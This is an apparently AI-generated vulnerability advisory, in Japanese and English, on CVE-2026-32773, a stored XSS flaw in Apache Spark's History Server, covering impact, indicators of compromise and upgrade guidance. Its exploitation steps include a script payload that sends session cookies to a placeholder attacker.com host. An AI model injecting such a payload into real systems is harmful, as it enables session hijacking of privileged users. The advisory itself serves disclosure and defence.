CVE-2026-32773
NixOS 脆弱性の分析と軽減

概要

CVE-2026-32773 is a stored Cross-Site Scripting (XSS) vulnerability in the Apache Spark History Server that allows a malicious Spark job to inject arbitrary unescaped frontend code into the web interface. It affects Apache Spark versions 3.0.0 through 3.5.7 (prior to 3.5.8) and was disclosed on September 1, 2026 by Holden Karau via the oss-security mailing list, with credit to finder Yann Gourio. The vulnerability is tracked internally as SPARK-53747. It carries a CVSS v3.1 base score of 6.1 (Medium) (GitHub Advisory, oss-security).

技術的な詳細

The root cause is improper neutralization of script-related HTML tags in the Spark History Server web interface (CWE-80), where user-controlled data from Spark job metadata is rendered without proper HTML/JavaScript escaping. An attacker with permissions to submit a Spark job can embed malicious script payloads within job-related fields that are subsequently stored and rendered unescaped in the History Server UI. Exploitation requires a two-step social engineering component: the attacker submits a crafted job, then must trick a higher-privileged user into visiting the Spark History Server web page where the job history is displayed, triggering the injected script in the victim's browser (oss-security, GitHub Advisory).

影響

Successful exploitation results in arbitrary JavaScript execution within the browser session of the targeted higher-privileged user, enabling minimal privilege escalation. The confidentiality and integrity impacts are both rated Low — an attacker could potentially steal session tokens, perform actions on behalf of the victim within the Spark History Server, or access information visible to the higher-privileged user. Availability is not impacted, and the scope is changed (affecting the victim's browser context rather than the server itself) (GitHub Advisory, oss-security).

エクスプロイト可能性

There is no public proof-of-concept exploit and no evidence of in-the-wild exploitation as of the disclosure date (GitHub Advisory). The EPSS score is approximately 0.258% (0.563% per GitHub Advisory), placing it in the lower percentiles for near-term exploitation likelihood. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation is further constrained by the requirement that the attacker already possess permissions to launch Spark jobs and must successfully social-engineer a higher-privileged user to visit the History Server page (oss-security).

エクスプロイテーションのステップ

  1. Gain Spark Job Submission Access: Obtain credentials or permissions sufficient to submit a Spark job to the target cluster (requires relatively high existing privileges).
  2. Craft Malicious Job: Prepare a Spark job where metadata fields (e.g., job name, application name, or other fields rendered in the History Server UI) contain an XSS payload such as <script>document.location='https://attacker.com/steal?c='+document.cookie</script>.
  3. Submit the Job: Launch the crafted Spark job so it runs and its history is recorded in the Spark History Server.
  4. Social Engineer the Target: Trick a higher-privileged user (e.g., a Spark administrator) into visiting the Spark History Server web page where the malicious job's history is displayed — for example, by sending a link to the specific job history page.
  5. Payload Execution: When the privileged user's browser renders the unescaped job metadata, the injected script executes in their browser context, potentially stealing session cookies, performing actions as the victim, or exfiltrating data visible to the privileged user (oss-security, GitHub Advisory).

妥協の兆候

  • Network: Unexpected outbound HTTP requests from a privileged user's browser to external domains shortly after visiting the Spark History Server; unusual redirects or beacon requests originating from History Server page loads.
  • Logs: Spark History Server access logs showing visits to job history pages containing unusual characters (<, >, script, javascript:) in job identifiers or application names; web server logs with encoded XSS strings in URL parameters or referrer fields.
  • Application: Spark job submissions with application names or metadata containing HTML/JavaScript special characters or script tags; jobs submitted by low-privileged users with anomalous naming patterns.
  • Browser: Unexpected JavaScript errors or network requests in browser developer tools when viewing Spark History Server pages (oss-security).

軽減策と回避策

The primary remediation is to upgrade Apache Spark to version 3.5.8 or later, which includes proper XSS escaping in the History Server web interface (oss-security, GitHub Advisory). As interim mitigations, administrators should restrict network access to the Spark History Server web interface to trusted users only, and limit who has permissions to submit Spark jobs in the environment. Monitoring for suspicious job submissions containing HTML/script tags in metadata fields can also help detect exploitation attempts.

コミュニティの反応

The vulnerability was disclosed via the Apache oss-security mailing list and the Apache announce list with low severity classification, reflecting the constrained exploitation path. No significant broader media coverage or notable researcher commentary beyond the initial disclosure has been identified. The Apache project itself characterized the risk as minimal given the prerequisite permissions required (oss-security).

関連情報


ソースこのレポートは AI を使用して生成されました

関連 NixOS 脆弱 性:

CVE 識別子

重大度

スコア

テクノロジー

コンポーネント名

CISA KEV エクスプロイト

修正あり

公開日

CVE-2026-78662HIGH7.5
  • Docker logoDocker
  • headlamp-fips
いいえはいSep 02, 2026
CVE-2026-56855HIGH7.5
  • Docker logoDocker
  • argo-workflows-3.7
いいえはいSep 02, 2026
CVE-2026-84642HIGH7.5
  • NixOS logoNixOS
  • cpe:2.3:a:mozilla:thunderbird
いいえはいSep 01, 2026
CVE-2026-84641HIGH7.5
  • NixOS logoNixOS
  • cpe:2.3:a:mozilla:thunderbird
いいえはいSep 01, 2026
CVE-2026-32773MEDIUM6.1
  • NixOS logoNixOS
  • spark
いいえはいSep 02, 2026

無料の脆弱性評価

クラウドセキュリティポスチャーのベンチマーク

9つのセキュリティドメインにわたるクラウドセキュリティプラクティスを評価して、リスクレベルをベンチマークし、防御のギャップを特定します。

評価を依頼する

パーソナライズされたデモを見る

実際に Wiz を見てみませんか?​

"私が今まで見た中で最高のユーザーエクスペリエンスは、クラウドワークロードを完全に可視化します。"
デビッド・エストリックCISO (最高情報責任者)
"Wiz を使えば、クラウド環境で何が起こっているかを 1 つの画面で確認することができます"
アダム・フレッチャーチーフ・セキュリティ・オフィサー
"Wizが何かを重要視した場合、それは実際に重要であることを私たちは知っています。"
グレッグ・ポニャトフスキ脅威および脆弱性管理責任者